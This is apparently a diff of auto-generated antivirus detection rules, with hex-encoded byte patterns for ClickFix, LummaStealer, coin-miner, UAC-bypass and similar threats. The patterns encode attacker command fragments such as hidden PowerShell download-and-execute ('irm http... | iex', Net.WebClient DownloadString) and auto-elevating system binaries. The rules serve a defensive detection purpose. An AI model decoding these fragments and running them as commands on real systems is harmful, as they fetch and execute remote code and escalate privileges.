6f 61 64 73 74 72 69 6e 67 01 00 0c 80 01 64 6f 77 6e 6c 6f 61 64 66 69 6c 65 01 00 0d 80 01 73 74 61 72 74 2d 70 72 6f 63 65 73 73 01 00 06 00 69 00 65 00 78 00 01 00 11 80 01 69 6e 76 6f 6b 65 2d 65 78 70 72 65 73 73 69 6f 6e 00 00 d7 b8 00 00 02 00 02 00 02 00 } //26625 - $a_4c_5 = {3a 57 69 6e 33 32 2f 55 41 43 42 79 70 61 73 73 45 78 70 52 65 67 2e 42 00 01 00 3c 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 53 00 79 00 73 00 74 00 65 00 6d 00 33 00 32 00 5c 00 63 00 6f 00 6e 00 74 00 72 00 6f 00 6c 00 2e 00 65 00 } //8993 + $a_00_2 = {65 00 63 00 74 00 0a 00 12 00 77 00 65 00 62 00 63 00 6c 00 69 00 65 00 6e 00 74 00 0a 00 18 00 64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 66 00 69 00 6c 00 65 00 0a 00 1f 02 5c 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 90 02 20 2e 00 65 00 78 00 65 00 90 00 00 00 d7 b7 00 00 6f 00 6f 00 04 00 21 23 53 } //98 + $a_54_3 = {6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 47 57 21 4d 54 42 00 64 00 30 00 53 00 74 00 61 00 72 00 74 00 2d 00 50 00 72 00 6f 00 63 00 65 00 73 00 73 00 } //17996 + $a_00_4 = {6f 00 77 00 65 00 72 00 53 00 68 00 65 00 6c 00 6c 00 0a 00 1b 02 69 00 72 00 6d 00 20 00 68 00 74 00 74 00 70 00 90 02 02 3a 00 2f 00 2f 00 90 00 01 00 24 00 7c 00 20 00 69 00 65 00 78 00 27 00 20 00 2d 00 56 00 65 00 72 00 62 00 20 00 52 } //32 condition: - ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*98+(#a_54_3 & 1)*17996+(#a_74_4 & 1)*26625+(#a_4c_5 & 1)*8993) >=60 + ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*98+(#a_54_3 & 1)*17996+(#a_00_4 & 1)*32) >=60 } -rule _InfrastructureShared_26352{ +rule _InfrastructureShared_27926{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,6f 00 6f 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 47 57 21 4d 54 42 00 64 00 30 00 53 00 74 00 61 00 72 00 74 00 2d 00 50 00 72 00 6f 00 63 00 65 00 73 00 73 00 20 00 50 00 6f 00 77 00 65 00 72 00 53 00 68 00 } //21283 + $a_00_1 = {6c 00 0a 00 1b 02 69 00 72 00 6d 00 20 00 68 00 74 00 74 00 70 00 90 02 02 3a 00 2f 00 2f 00 90 00 01 00 24 00 7c 00 20 00 69 00 65 00 78 00 27 00 20 00 2d 00 56 00 65 00 72 00 62 00 20 00 52 00 75 00 6e 00 41 00 73 00 18 fc 0c 00 67 00 69 00 74 00 68 00 75 00 62 00 00 00 d7 b7 00 00 75 00 75 00 09 00 21 23 53 4c 46 3a 54 } //101 + $a_61_2 = {44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 50 53 44 6f 77 6e 2e 41 00 64 00 05 00 24 65 6e 76 3a 05 00 0a 80 01 70 6f 77 65 72 73 68 65 6c 6c 05 00 04 80 01 68 74 74 70 05 00 0d 80 01 6e 65 74 2d 77 65 62 63 6c 69 65 6e 74 01 00 0e 80 01 64 6f 77 6e 6c 6f 61 64 73 74 72 69 6e 67 01 00 0c 80 01 64 6f 77 6e 6c } //28530 + $a_66_3 = {6c 65 01 00 0d 80 01 73 74 61 72 74 2d 70 72 6f 63 65 73 73 01 00 06 00 69 00 65 00 78 00 01 00 11 80 01 69 6e 76 6f 6b 65 2d 65 78 70 72 65 73 73 69 6f 6e 00 00 d7 b8 00 00 02 00 02 00 02 00 21 23 53 4c 46 3a 57 69 6e 33 32 2f 55 41 43 42 79 70 61 73 73 45 78 70 52 65 67 2e 42 00 01 00 3c 00 5c 00 } //24943 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*101+(#a_61_2 & 1)*28530+(#a_66_3 & 1)*24943) >=111 + +} +rule _InfrastructureShared_27927{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,75 00 75 00 09 00 21 " @@ -344684,7 +365081,7 @@ rule _InfrastructureShared_26352{ ((#a_46_0 & 1)*21283+(#a_69_1 & 1)*25442+(#a_2f_2 & 1)*13166+(#a_00_4 & 1)*92+(#a_b8_6 & 1)*0+(#a_42_7 & 1)*27497+(#a_00_8 & 1)*10) >=117 } -rule _InfrastructureShared_26353{ +rule _InfrastructureShared_27928{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 02 00 21 " @@ -344695,7 +365092,7 @@ rule _InfrastructureShared_26353{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*108) >=2 } -rule _InfrastructureShared_26354{ +rule _InfrastructureShared_27929{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 02 00 21 " @@ -344706,21 +365103,52 @@ rule _InfrastructureShared_26354{ ((#a_4c_0 & 1)*21539+(#a_30_1 & 1)*-28672) >=2 } -rule _InfrastructureShared_26355{ +rule _InfrastructureShared_27930{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,33 00 33 00 07 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 69 6b 61 42 6f 74 2e 41 43 21 4d 54 42 00 0a 00 0e 00 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 0a 00 08 00 63 00 75 00 72 00 6c 00 0a 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 } //21283 - $a_00_1 = {6c 00 0a 00 1e 00 2d 00 65 00 6e 00 63 00 6f 00 64 00 65 00 64 00 63 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 0a 00 0c 00 26 00 20 00 65 00 78 00 69 00 74 00 01 00 10 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 01 00 0e 00 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 00 00 d7 b9 00 00 01 00 01 00 01 00 21 23 54 45 4c 3a } //101 - $a_6a_2 = {6e 3a 50 6f 77 65 72 53 68 65 6c 6c 2f 4b 6f 76 74 65 72 2e 49 00 01 00 8c 02 63 00 3a 00 5c 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 73 00 79 00 73 00 74 00 65 00 6d 00 33 00 32 00 5c 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 5c 00 76 00 31 00 2e 00 30 00 5c } //29268 - $a_00_4 = {72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 20 00 69 00 65 00 78 00 20 00 24 00 65 00 6e 00 76 00 3a 00 90 12 10 00 90 00 00 00 d7 b9 00 00 06 00 06 00 06 00 21 23 54 45 4c 3a 57 69 6e 33 32 2f 43 6f 69 6e 4d 69 6e 65 72 43 6d 64 2e 41 00 01 00 26 00 20 00 2d 00 2d 00 63 00 70 00 75 00 } //119 - $a_00_5 = {65 00 6d 00 6f 00 72 00 79 00 2d 00 70 00 6f 00 6f 00 6c 00 3d 00 01 00 10 00 20 00 2d 00 2d 00 75 00 73 00 65 00 72 00 3d 00 01 00 10 00 20 00 2d 00 2d 00 70 00 61 00 73 00 73 00 3d 00 01 00 12 00 20 00 2d 00 2d 00 63 00 69 00 6e 00 69 00 74 00 2d 00 01 00 16 00 20 00 2d 00 2d 00 72 00 61 00 6e 00 64 00 6f 00 6d 00 78 00 2d } //45 + $a_00_1 = {6c 00 0a 00 1e 00 2d 00 65 00 6e 00 63 00 6f 00 64 00 65 00 64 00 63 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 0a 00 0c 00 26 00 20 00 65 00 78 00 69 00 74 00 01 00 10 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 01 00 0e 00 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 00 00 d7 b8 00 00 3f 00 3f 00 09 00 21 23 53 4c 46 3a } //101 + $a_6a_2 = {6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 4d 4b 5a 21 4d 54 42 00 0a 00 0a 00 73 00 74 00 61 00 72 00 74 00 0a 00 1a 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 20 00 2d 00 77 00 0a 00 0c 00 68 00 69 00 64 00 64 00 65 00 6e 00 0a 00 08 00 63 00 75 00 72 00 6c 00 0a 00 0a 00 68 00 74 00 74 00 70 00 73 00 } //29268 + $a_00_3 = {69 00 70 00 73 00 69 00 2e 00 } //10 ipsi. + $a_00_4 = {2e 00 53 00 68 00 65 00 6c 00 6c 00 } //1 .Shell + $a_00_5 = {24 00 77 00 2e 00 52 00 75 00 6e 00 } //1 $w.Run + $a_00_6 = {5c 00 31 00 } //1 \1 condition: - ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*101+(#a_6a_2 & 1)*29268+(#a_00_4 & 1)*119+(#a_00_5 & 1)*45) >=51 + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*101+(#a_6a_2 & 1)*29268+(#a_00_3 & 1)*10+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1) >=51 } -rule _InfrastructureShared_26356{ +rule _InfrastructureShared_27931{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,3f 00 3f 00 09 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 4d 4b 5a 21 4d 54 42 00 0a 00 0a 00 73 00 74 00 61 00 72 00 74 00 0a 00 1a 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 20 00 2d 00 77 00 0a 00 } //21283 + $a_00_1 = {69 00 64 00 64 00 65 00 6e 00 0a 00 08 00 63 00 75 00 72 00 6c 00 0a 00 0a 00 68 00 74 00 74 00 70 00 73 00 0a 00 0a 00 69 00 70 00 73 00 69 00 2e 00 01 00 0c 00 2e 00 53 00 68 00 65 00 6c 00 6c 00 01 00 0c 00 24 00 77 00 2e 00 52 00 75 00 6e 00 01 00 04 00 5c 00 31 00 00 00 d7 b8 00 00 6e 00 6e 00 04 00 21 23 } //12 + $a_3a_2 = {72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 44 57 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 18 00 7c 00 20 00 25 00 20 00 7b 00 20 00 5b } //19539 + $a_00_4 = {5d 00 0a 00 12 00 7c 00 25 00 7b 00 5b 00 63 00 68 00 61 00 72 00 5d 00 9c ff 3e 00 43 00 72 00 65 00 64 00 65 00 6e 00 74 00 69 00 61 00 6c 00 56 00 61 00 6c 00 69 00 64 00 61 00 74 00 69 00 6f 00 6e 00 41 00 75 00 64 00 69 00 74 00 50 00 6f 00 } //97 + $a_00_5 = {63 00 79 00 00 00 d7 b9 00 00 01 00 01 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 50 6f 77 65 72 53 68 65 6c 6c 2f 4b 6f 76 74 65 72 2e 49 00 01 00 8c 02 63 00 3a 00 5c 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 73 00 79 00 73 00 74 00 65 00 6d 00 33 00 32 00 5c 00 77 00 69 00 6e 00 64 00 6f 00 77 00 } //108 + $a_00_6 = {6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 5c 00 76 00 31 00 2e 00 30 00 5c 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 20 00 69 00 65 00 78 00 20 00 24 00 65 00 6e 00 76 00 3a 00 90 12 10 00 90 00 00 00 d7 b9 00 00 03 00 03 00 05 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e } //115 + $a_43_7 = {69 63 6b 46 69 78 2e 46 46 49 21 4d 54 42 00 01 00 1d 02 2d 00 76 00 65 00 72 00 62 00 20 00 72 00 75 00 6e 00 61 00 73 00 90 02 20 23 00 90 } //12851 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*12+(#a_3a_2 & 1)*19539+(#a_00_4 & 1)*97+(#a_00_5 & 1)*108+(#a_00_6 & 1)*115+(#a_43_7 & 1)*12851) >=63 + +} +rule _InfrastructureShared_27932{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,6e 00 6e 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 44 57 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 18 00 7c 00 20 00 25 00 20 00 7b 00 20 00 5b 00 63 00 68 00 } //21283 + $a_00_1 = {5d 00 0a 00 12 00 7c 00 25 00 7b 00 5b 00 63 00 68 00 61 00 72 00 5d 00 9c ff 3e 00 43 00 72 00 65 00 64 00 65 00 6e 00 74 00 69 00 61 00 6c 00 56 00 61 00 6c 00 69 00 64 00 61 00 74 00 69 00 6f 00 6e 00 41 00 75 00 64 00 69 00 74 00 50 00 6f 00 } //97 + $a_00_2 = {63 00 79 00 00 00 d7 b9 00 00 01 00 01 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 50 6f 77 65 72 53 68 65 6c 6c 2f 4b 6f 76 74 65 72 2e 49 00 01 00 8c 02 63 00 3a 00 5c 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 73 00 79 00 73 00 74 00 65 00 6d 00 33 00 32 00 5c 00 77 00 69 00 6e 00 64 00 6f 00 77 00 } //108 + $a_00_3 = {6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 5c 00 76 00 31 00 2e 00 30 00 5c 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 20 00 69 00 65 00 78 00 20 00 24 00 65 00 6e 00 76 00 3a 00 90 12 10 00 90 00 00 00 d7 b9 00 00 03 00 03 00 05 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e } //115 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*97+(#a_00_2 & 1)*108+(#a_00_3 & 1)*115) >=110 + +} +rule _InfrastructureShared_27933{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 21 " @@ -344730,7 +365158,20 @@ rule _InfrastructureShared_26356{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_26357{ +rule _InfrastructureShared_27934{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 05 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 46 46 49 21 4d 54 42 00 01 00 1d 02 2d 00 76 00 65 00 72 00 62 00 20 00 72 00 75 00 6e 00 61 00 73 00 90 02 20 23 00 90 00 01 00 1e 00 2e 00 44 00 6f 00 77 00 6e } //21283 + $a_00_2 = {53 00 74 00 72 00 69 00 6e 00 67 00 01 00 1a 00 4e 00 65 00 74 00 2e 00 57 00 65 00 62 00 43 00 6c 00 69 00 65 00 6e 00 74 00 9c ff 12 00 6c 00 6f 00 63 00 61 00 6c 00 68 00 6f 00 73 00 74 00 9c ff 12 00 31 00 32 00 37 00 2e 00 30 00 2e 00 30 00 2e 00 31 00 00 00 d7 b9 00 00 06 00 06 00 06 00 21 23 } //97 + $a_3a_3 = {69 6e 33 32 2f 43 6f 69 6e 4d 69 6e 65 72 43 6d 64 2e 41 00 01 00 26 00 20 00 2d 00 2d 00 63 00 70 00 75 00 2d 00 6d 00 65 00 6d 00 6f 00 72 00 79 00 2d 00 70 00 6f 00 6f 00 6c 00 3d 00 01 00 10 00 20 00 2d 00 2d 00 75 00 73 00 } //17748 + $a_00_4 = {3d 00 01 00 10 00 20 00 2d 00 2d 00 70 00 61 00 73 00 73 00 3d 00 01 00 12 00 20 00 2d 00 2d 00 63 00 69 00 6e 00 69 00 74 00 2d 00 01 00 16 00 20 00 2d 00 2d 00 72 00 61 00 6e 00 64 00 6f 00 6d 00 78 00 2d 00 01 00 10 00 20 00 2d 00 2d 00 63 00 75 00 64 00 61 00 2d 00 00 00 d7 ba 00 00 0a 00 0a 00 01 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e } //101 + condition: + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*97+(#a_3a_3 & 1)*17748+(#a_00_4 & 1)*101) >=3 + +} +rule _InfrastructureShared_27935{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,06 00 06 00 06 00 21 " @@ -344738,12 +365179,36 @@ rule _InfrastructureShared_26357{ $a_4c_0 = {57 69 6e 33 32 2f 43 6f 69 6e 4d 69 6e 65 72 43 6d 64 2e 41 00 01 00 26 00 20 00 2d 00 2d 00 63 00 70 00 75 00 2d 00 6d 00 65 00 6d 00 6f 00 72 00 79 00 2d 00 70 00 6f 00 6f 00 6c 00 3d 00 01 00 10 00 20 00 } //21539 $a_00_1 = {75 00 73 00 65 00 72 00 3d 00 01 00 10 00 20 00 2d 00 2d 00 70 00 61 00 73 00 73 00 3d 00 01 00 12 00 20 00 2d 00 2d 00 63 00 69 00 6e } //45 $a_00_3 = {16 } //45 - $a_00_5 = {61 00 6e 00 64 00 6f 00 6d 00 78 00 2d 00 01 00 10 00 20 00 2d 00 2d 00 63 00 75 00 64 00 61 00 2d 00 00 00 d7 bb 00 00 02 00 02 00 02 00 21 23 53 4c 46 3a 45 78 70 6c 6f 69 74 3a 57 69 6e 33 32 2f 43 56 45 2d 32 30 32 33 2d 32 32 35 31 35 2e 43 21 64 68 61 00 01 00 08 00 63 00 75 00 72 00 6c 00 01 00 7a 00 62 00 6f 00 6f 00 74 00 73 00 74 } //45 + $a_00_5 = {61 00 6e 00 64 00 6f 00 6d 00 78 00 2d 00 01 00 10 00 20 00 2d 00 2d 00 63 00 75 00 64 00 61 00 2d 00 00 00 d7 ba 00 00 0a 00 0a 00 01 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 48 46 21 4d 54 42 00 0a 00 8b 02 3a 00 72 00 61 00 6e 00 64 00 6f 00 6d 00 69 00 7a 00 65 00 3a 00 90 02 04 3d 00 69 00 } //45 condition: ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*45+(#a_00_3 & 1)*45+(#a_00_5 & 1)*45) >=6 } -rule _InfrastructureShared_26358{ +rule _InfrastructureShared_27936{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 01 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 48 46 21 4d 54 42 00 0a 00 8b 02 3a 00 72 00 61 00 6e 00 64 00 6f 00 6d 00 69 00 7a 00 65 00 3a 00 90 02 04 3d 00 69 00 6e 00 74 00 28 00 72 00 6e 00 64 00 2a 00 } //21283 + condition: + ((#a_46_0 & 1)*21283) >=10 + +} +rule _InfrastructureShared_27937{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,1f 00 1f 00 05 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 47 54 21 4d 54 42 00 0a 00 16 00 2e 00 50 00 6f 00 73 00 74 00 41 00 73 00 79 00 6e 00 63 00 28 00 0a 00 28 00 2e 00 53 00 74 00 72 00 69 00 6e 00 67 00 43 00 } //21283 + $a_00_1 = {74 00 65 00 6e 00 74 00 5d 00 3a 00 3a 00 6e 00 65 00 77 00 0a 00 26 00 2e 00 52 00 65 00 61 00 64 00 41 00 73 00 53 00 74 00 72 00 69 00 6e 00 67 00 41 00 73 00 79 00 6e 00 63 00 28 00 01 00 0a 00 69 00 65 00 78 00 28 00 24 00 01 00 0c 00 69 00 65 00 78 00 20 00 28 00 24 00 00 00 d7 bb 00 00 02 00 02 00 02 00 21 23 53 4c 46 3a } //111 + $a_6c_2 = {69 74 3a 57 69 6e 33 32 2f 43 56 45 2d 32 30 32 33 2d 32 32 35 31 35 2e 43 21 64 68 61 00 01 00 08 00 63 00 75 00 72 00 6c 00 01 00 7a 00 62 00 6f 00 6f 00 74 00 73 00 74 00 72 00 61 00 70 00 73 00 74 00 61 00 74 00 75 00 73 00 70 00 72 00 6f 00 76 00 69 00 64 00 65 00 72 00 2e 00 61 00 70 00 70 00 6c 00 69 00 63 00 61 00 74 00 69 00 } //30789 + $a_00_3 = {63 00 6f 00 6e 00 66 00 69 00 67 00 2e 00 73 00 65 00 74 00 75 00 70 00 63 00 6f 00 6d 00 70 00 6c 00 65 00 74 00 65 00 3d 00 66 00 61 00 6c 00 73 00 65 00 00 00 d7 bb 00 00 03 00 03 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 43 43 49 21 4d 54 42 00 01 00 43 02 68 00 74 00 74 00 } //111 + $a_00_4 = {2f 00 2f 00 90 02 06 2e 00 78 00 39 00 30 00 02 06 2e 00 78 00 39 00 30 00 02 06 2e 00 78 00 39 00 30 00 02 06 2f 00 78 00 39 00 30 00 02 06 2e 00 6a 00 70 00 67 00 90 00 01 } //112 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*111+(#a_6c_2 & 1)*30789+(#a_00_3 & 1)*111+(#a_00_4 & 1)*112) >=31 + +} +rule _InfrastructureShared_27938{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 02 00 21 " @@ -344753,37 +365218,31 @@ rule _InfrastructureShared_26358{ ((#a_46_0 & 1)*21283) >=2 } -rule _InfrastructureShared_26359{ +rule _InfrastructureShared_27939{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 43 43 49 21 4d 54 42 00 01 00 43 02 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 90 02 06 2e 00 78 00 39 00 30 00 02 06 2e 00 78 00 39 00 30 00 02 06 2e 00 78 00 39 } //21283 + condition: + ((#a_46_0 & 1)*21283) >=3 + +} +rule _InfrastructureShared_27940{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,08 00 08 00 07 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 4d 4a 21 4d 54 42 00 01 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 01 00 10 00 2d 00 63 00 6f 00 6d 00 6d 00 61 00 6e 00 64 } //21283 - $a_00_2 = {76 00 6f 00 6b 00 65 00 2d 00 57 00 65 00 62 00 52 00 65 00 71 00 75 00 65 00 73 00 74 00 01 00 0c 00 48 00 69 00 64 00 64 00 65 00 6e 00 01 00 08 00 68 00 74 00 74 00 70 00 01 00 08 00 2e 00 74 00 78 00 74 00 01 00 0e 00 43 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 00 00 d7 bb 00 00 79 00 79 00 08 00 21 23 53 4c 46 3a 54 72 6f 6a } //73 - $a_57_3 = {6e 33 32 2f 53 75 73 70 45 78 66 69 6c 74 72 61 74 69 6f 6e 2e 53 41 00 64 00 09 00 63 6d 64 90 02 30 2f 63 90 0a 00 19 02 37 00 7a 00 61 00 2e 00 65 00 78 00 65 00 90 02 30 } //28257 - $a_00_4 = {20 00 90 00 0a 00 16 00 64 00 6f 00 20 00 66 00 6f 00 72 00 66 00 69 00 6c 00 65 00 73 00 01 00 0a 00 2e 00 64 00 6f 00 63 00 2c 00 01 00 0c 00 2e 00 64 00 6f 00 63 00 78 00 2c 00 01 00 0a 00 2e 00 78 00 6c 00 73 00 2c 00 01 00 0c 00 2e 00 78 00 6c 00 73 00 78 00 2c 00 01 00 08 00 2e 00 70 } //32 - $a_bc_6 = {00 01 00 01 00 02 00 21 23 53 4c 46 3a 57 69 6e 33 32 2f 55 41 43 42 79 70 61 73 73 45 78 70 52 65 67 2e 41 00 01 00 40 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 53 00 79 00 73 00 74 00 65 00 6d 00 33 00 32 00 5c 00 66 00 6f 00 64 00 68 00 65 00 6c 00 70 00 65 00 72 00 2e 00 65 00 78 00 65 00 00 00 01 00 4e 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 53 00 79 00 73 00 74 00 65 00 6d 00 33 00 32 00 5c 00 43 00 6f 00 6d 00 70 00 75 00 74 00 65 00 72 00 44 00 65 00 66 00 61 00 75 00 6c 00 74 00 73 00 2e 00 65 00 78 00 65 00 00 00 00 00 d7 bc 00 00 0a 00 0a 00 01 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e } //0 + $a_00_2 = {76 00 6f 00 6b 00 65 00 2d 00 57 00 65 00 62 00 52 00 65 00 71 00 75 00 65 00 73 00 74 00 01 00 0c 00 48 00 69 00 64 00 64 00 65 00 6e 00 01 00 08 00 68 00 74 00 74 00 70 00 01 00 08 00 2e 00 74 00 78 00 74 00 01 00 0e 00 43 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 00 00 d7 bc 00 00 01 00 01 00 02 00 21 23 53 4c 46 3a 57 69 6e 33 } //73 + $a_41_3 = {42 79 70 61 73 73 45 78 70 52 65 67 2e 41 00 01 00 40 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 53 00 79 00 73 00 74 00 65 00 6d 00 33 00 32 00 5c 00 66 00 6f 00 64 00 68 00 65 00 6c 00 70 00 65 00 72 00 2e 00 65 00 78 00 65 00 00 00 01 00 } //12082 + $a_00_4 = {57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 53 00 79 00 73 00 74 00 65 00 6d 00 33 00 32 00 5c 00 43 00 6f 00 6d 00 70 00 75 00 74 00 65 00 72 00 44 00 65 00 66 00 61 00 75 00 6c 00 74 00 73 00 2e 00 65 00 78 00 65 00 00 00 00 00 d7 bc 00 00 0a 00 0a 00 01 00 21 23 53 4c } //78 + $a_72_5 = {6a 61 6e 3a 57 69 6e 33 32 2f 4e 65 74 73 68 45 6e 61 62 6c 65 52 44 50 2e 41 21 69 62 74 00 0a 00 88 02 61 00 64 00 76 00 66 00 69 00 72 00 65 00 77 00 61 00 6c 00 6c 00 20 00 66 00 69 00 72 00 65 00 77 00 61 00 6c 00 6c 00 20 00 73 00 65 00 74 00 20 } //14918 condition: - ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*73+(#a_57_3 & 1)*28257+(#a_00_4 & 1)*32+(#a_bc_6 & 1)*0) >=8 + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*73+(#a_41_3 & 1)*12082+(#a_00_4 & 1)*78+(#a_72_5 & 1)*14918) >=8 } -rule _InfrastructureShared_26360{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,79 00 79 00 08 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 75 73 70 45 78 66 69 6c 74 72 61 74 69 6f 6e 2e 53 41 00 64 00 09 00 63 6d 64 90 02 30 2f 63 90 0a 00 19 02 37 00 7a 00 61 00 2e 00 65 00 78 00 65 00 90 02 30 20 00 61 00 20 00 90 00 0a } //21283 - $a_00_2 = {66 00 6f 00 72 00 66 00 69 00 6c 00 65 00 73 00 01 00 0a 00 2e 00 64 00 6f 00 63 00 2c 00 01 00 } //111 - $a_00_3 = {64 00 6f 00 63 00 78 00 2c 00 01 00 0a 00 2e 00 78 00 6c 00 73 00 2c 00 01 00 0c 00 2e 00 78 00 6c 00 73 00 78 00 2c 00 01 00 08 00 2e 00 } //12 - $a_00_4 = {66 00 00 00 d7 bc 00 00 01 00 01 00 02 00 21 23 53 4c 46 3a 57 69 6e 33 32 2f 55 41 43 42 79 70 61 73 73 45 78 70 52 65 67 2e 41 00 01 00 40 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 53 00 79 00 73 00 74 00 65 00 6d 00 33 00 32 00 5c 00 66 00 6f 00 64 00 68 00 65 00 6c 00 70 00 65 00 } //112 - $a_00_5 = {65 00 78 00 65 00 00 00 01 00 4e 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 53 00 79 00 73 00 74 00 65 00 6d 00 33 00 32 00 } //114 - $a_00_6 